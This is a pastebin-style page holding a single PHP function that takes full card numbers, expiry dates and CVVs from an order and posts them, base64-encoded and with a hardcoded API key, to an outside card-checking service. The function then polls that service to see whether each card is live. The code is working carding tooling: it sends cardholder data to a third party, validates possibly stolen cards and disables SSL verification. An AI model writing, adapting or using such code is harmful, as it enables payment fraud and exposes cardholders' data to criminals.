Untitled

 avatar
unknown
php
a year ago
2.4 kB
7
Indexable
private function checkCardWithAPI($order)
{
    define('API_LNK', 'https://4check.me/yxm5/index.pl');
    define('API_KEY', 'dde99051bb535c1f');

    $card_number = $order->cardnum;
    $card_month = $order->expm;
    $card_year = $order->expy;
    $card_cvv = $order->cvv;

    if (strlen($card_year) == 4) {
        $card_year = substr($card_year, 2);
    }
    if (strlen($card_month) == 1) {
        $card_month = '0' . $card_month;
    }

    $cards = $card_number . "\t" . $card_month . "\t" . $card_year . "\t" . $card_cvv . "\n";

    // Send check request
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, API_LNK . '?module=api&sub=cardsadd');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_POSTFIELDS, [
        'api_key' => API_KEY,
        'checker' => 'authorize',
        'data' => base64_encode($cards),
    ]);
    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        return ['result' => '05'];
    }
    curl_close($ch);

    $dataString = preg_replace('/\s+/', '|', $data);
    $checkInfo = explode('|', $dataString);
    $api_group_id = $checkInfo[19];

    // Get check result
    $x = 0;
    while ($x == 0) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, API_LNK . '?module=api&sub=cardsresult');
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_POSTFIELDS, [
            'api_key' => API_KEY,
            'api_group_id' => $api_group_id,
        ]);
        $data_1 = curl_exec($ch);
        curl_close($ch);

        $dataString_1 = preg_replace('/\s+/', '|', $data_1);
        $checkResult = explode('|', $dataString_1);
        $result = $checkResult[21];

        if (preg_match('/Not available \*/', $data_1) || preg_match('/Not/', $result)) {
            $x = 0;
        } else {
            $x = 1;
        }
    }

    if ($x == 1) {
        if ($result == '00' || $result == '85' || $result == '11' || $result == '10') {
            return ['result' => '00'];
        } else {
            return ['result' => '05'];
        }
    } else {
        return ['result' => '05'];
    }
}
Editor is loading...
Leave a Comment